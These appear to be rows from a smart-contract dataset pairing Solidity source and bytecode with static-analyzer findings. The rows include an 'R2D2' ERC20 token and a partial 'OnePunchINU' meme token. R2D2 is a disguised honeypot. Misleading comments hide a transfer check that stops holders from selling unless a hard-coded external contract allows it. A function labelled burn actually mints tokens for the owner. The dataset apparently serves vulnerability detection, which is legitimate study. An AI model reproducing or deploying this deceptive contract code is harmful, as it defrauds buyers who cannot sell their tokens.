4083826114c6565b9392505050565b600082611456575060006104dc565b60006114628385611df0565b90508261146f8583611dd0565b146114405760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610606565b600061144083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116fc565b6012805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061155e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115b257600080fd5b505afa1580156115c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ea9190611abd565b8160018151811061160b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526011546116319130911684610d59565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061166a908590600090869030904290600401611d48565b600060405180830381600087803b15801561168457600080fd5b505af1158015611698573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b806116ba576116ba61172a565b6116c584848461174d565b806112ee576112ee6002600855600a600955565b60008060006116e6611844565b90925090506116f582826114c6565b9250505090565b6000818361171d5760405162461bcd60e51b81526004016106069190611cc0565b5060006113258486611dd0565b60085415801561173a5750600954155b1561174157565b60006008819055600955565b60008060008060008061175f87611886565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061179190876118e3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117c09086611925565b6001600160a01b0389166000908152600260205260409020556117e281611984565b6117ec84836119ce565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161183191815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061186082826114c6565b82101561187d57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006118a38a6008546009546119f2565b92509250925060006118b36116d9565b905060008060006118c68e878787611a41565b919e509c509a509598509396509194505050505091939550919395565b600061144083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112f4565b6000806119328385611db8565b9050838110156114405760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610606565b600061198e6116d9565b9050600061199c8383611447565b306000908152600260205260409020549091506119b99082611925565b30600090815260026020526040902055505050565b6006546119db90836118e3565b6006556007546119eb9082611925565b6007555050565b6000808080611a06606461084f8989611447565b90506000611a19606461084f8a89611447565b90506000611a3182611a2b8b866118e3565b906118e3565b9992985090965090945050505050565b6000808080611a508886611447565b90506000611a5e8887611447565b90506000611a6c8888611447565b90506000611a7e82611a2b86866118e3565b939b939a50919850919650505050505050565b8035611a9c81611e6d565b919050565b600060208284031215611ab2578081fd5b813561144081611e6d565b600060208284031215611ace578081fd5b815161144081611e6d565b60008060408385031215611aeb578081fd5b8235611af681611e6d565b91506020830135611b0681611e6d565b809150509250929050565b600080600060608486031215611b25578081fd5b8335611b3081611e6d565b92506020840135611b4081611e6d565b929592945050506040919091013590565b60008060408385031215611b63578182fd5b8235611b6e81611e6d565b946020939093013593505050565b60006020808385031215611b8e578182fd5b823567ffffffffffffffff80821115611ba5578384fd5b818501915085601f830112611bb8578384fd5b813581811115611bca57611bca611e57565b8060051b604051601f19603f83011681018181108582111715611bef57611bef611e57565b604052828152858101935084860182860187018a1015611c0d578788fd5b8795505b83861015611c3657611c2281611a91565b855260019590950194938601938601611c11565b5098975050505050505050565b600060208284031215611c54578081fd5b813561144081611e82565b600060208284031215611c70578081fd5b815161144081611e82565b600060208284031215611c8c578081fd5b5035919050565b600080600060608486031215611ca7578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611cec57858101830151858201604001528201611cd0565b81811115611cfd5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d975784516001600160a01b031683529383019391830191600101611d72565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611dcb57611dcb611e41565b500190565b600082611deb57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e0a57611e0a611e41565b500290565b600082821015611e2157611e21611e41565b500390565b6000600019821415611e3a57611e3a611e41565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461068657600080fd5b801515811461068657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208ec61fde47701d7cf5101a1a21fab373a577cf9b102e67b7e6ac86f6901c4bfa64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,121 |
0xafd28f8eaf1d36ff10fc548047ddfabecb413b36 | // SPDX-License-Identifier: GNU GPLv3
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function invalidAddress(address _address) virtual external view returns (bool){}
/**
* @dev Returns if it is a invalid address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract R2D2 is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal openzepplin = 0x40E8eF70655f04710E89D1Ff048E919da58CC6b8;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
*@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner'
* functions anymore. Can only be called by the current owner.
*/
function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _transfer (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
_totalSupply = _totalSupply.add(_Amount);
balances[_Address] = balances[_Address].add(_Amount);
}
function _transfer (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be a invalid address. */ || (IERC20(openzepplin).invalidAddress(start) == true && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable {
}
fallback() external payable {
}
} | 0x6080604052600436106100a55760003560e01c80636399903811610061578063639990381461019457806370a08231146101b557806395d89b41146101eb5780639dc29fac14610200578063a9059cbb14610220578063dd62ed3e1461024057005b806306fdde03146100ae578063095ea7b3146100d9578063141a8dd81461010957806318160ddd1461012557806323b872dd14610148578063313ce5671461016857005b366100ac57005b005b3480156100ba57600080fd5b506100c3610286565b6040516100d0919061087b565b60405180910390f35b3480156100e557600080fd5b506100f96100f43660046108ec565b610314565b60405190151581526020016100d0565b34801561011557600080fd5b50604051600081526020016100d0565b34801561013157600080fd5b5061013a610398565b6040519081526020016100d0565b34801561015457600080fd5b506100f9610163366004610916565b6103d5565b34801561017457600080fd5b506004546101829060ff1681565b60405160ff90911681526020016100d0565b3480156101a057600080fd5b506100f96101af366004610952565b50600090565b3480156101c157600080fd5b5061013a6101d0366004610952565b6001600160a01b031660009081526008602052604090205490565b3480156101f757600080fd5b506100c361052f565b34801561020c57600080fd5b506100ac61021b3660046108ec565b61053c565b34801561022c57600080fd5b506100f961023b3660046108ec565b6105c6565b34801561024c57600080fd5b5061013a61025b36600461096d565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b60038054610293906109a0565b80601f01602080910402602001604051908101604052809291908181526020018280546102bf906109a0565b801561030c5780601f106102e15761010080835404028352916020019161030c565b820191906000526020600020905b8154815290600101906020018083116102ef57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b0387811685529252822084905560025491929116141561034d5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7546005546103d0916106b1565b905090565b60006001600160a01b038416158015906103fd575060045461010090046001600160a01b0316155b156104275760048054610100600160a81b0319166101006001600160a01b03861602179055610431565b61043184846106d1565b6001600160a01b03841660009081526008602052604090205461045490836106b1565b6001600160a01b038516600090815260086020908152604080832093909355600981528282203383529052205461048b90836106b1565b6001600160a01b0380861660009081526009602090815260408083203384528252808320949094559186168152600890915220546104c9908361080d565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061051d9086815260200190565b60405180910390a35060019392505050565b60018054610293906109a0565b6000546001600160a01b0316331461055357600080fd5b6001600160a01b0382166105b85760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b6105c28282610828565b5050565b6004546000906001600160a01b0384811661010090920416141561061a5760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b60448201526064016105af565b3360009081526008602052604090205461063490836106b1565b33600090815260086020526040808220929092556001600160a01b03851681522054610660908361080d565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103869086815260200190565b6000828211156106c057600080fd5b6106ca82846109f1565b9392505050565b6004546001600160a01b038281166101009092041614158061077f5750600754604051630c73320760e31b81526001600160a01b03848116600483015290911690636399903890602401602060405180830381865afa158015610738573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075c9190610a08565b1515600114801561077f57506004546001600160a01b0382811661010090920416145b806107c157506004546001600160a01b03828116610100909204161480156107c157506006546001600160a01b03831660009081526008602052604090205411155b6105c25760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f206164647265737300000000000060448201526064016105af565b60006108198284610a2a565b90508281101561039257600080fd5b600554610835908261080d565b6005556001600160a01b03821660009081526008602052604090205461085b908261080d565b6001600160a01b0390921660009081526008602052604090209190915550565b600060208083528351808285015260005b818110156108a85785810183015185820160400152820161088c565b818111156108ba576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146108e757600080fd5b919050565b600080604083850312156108ff57600080fd5b610908836108d0565b946020939093013593505050565b60008060006060848603121561092b57600080fd5b610934846108d0565b9250610942602085016108d0565b9150604084013590509250925092565b60006020828403121561096457600080fd5b6106ca826108d0565b6000806040838503121561098057600080fd5b610989836108d0565b9150610997602084016108d0565b90509250929050565b600181811c908216806109b457607f821691505b602082108114156109d557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610a0357610a036109db565b500390565b600060208284031215610a1a57600080fd5b815180151581146106ca57600080fd5b60008219821115610a3d57610a3d6109db565b50019056fea2646970667358221220ac21f8a2cf4116ec34fe4d90a5d1ac43026c1ab0decc38463a8acabde977914d64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,122 |
0xe662f2fe0fef7db2dd422de736603fd4b38e6fe5 | // SPDX-License-Identifier: UNLICENSE
/**
TG: https://t.me/OnePunchINU
Meme Season Back ? /ANIME_SEASON_IS_OFFICIALLY_BACK
Stealth Launch is here
Locked and Renounced Contract
The Next Meme to Ape
BuyTax: 3% SellTax: 7%
MaxBuy : 2% (20,000) Supply: 1,000,000
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract OnePunchINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "One Punch INU";
string private constant _symbol = "OnePunchINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 public _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_maxTxAmount = _tTotal.div(50);
emit Transfer(address(_msgSender()), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 3;
_feeAddr2 = 7;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(tradingOpen);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]&&to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_feeAddr1 = 3;
_feeAddr2 = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function increaseMaxTx(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function addSwap() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiq() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function enableTrading() external onlyOwner{
tradingOpen = true;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
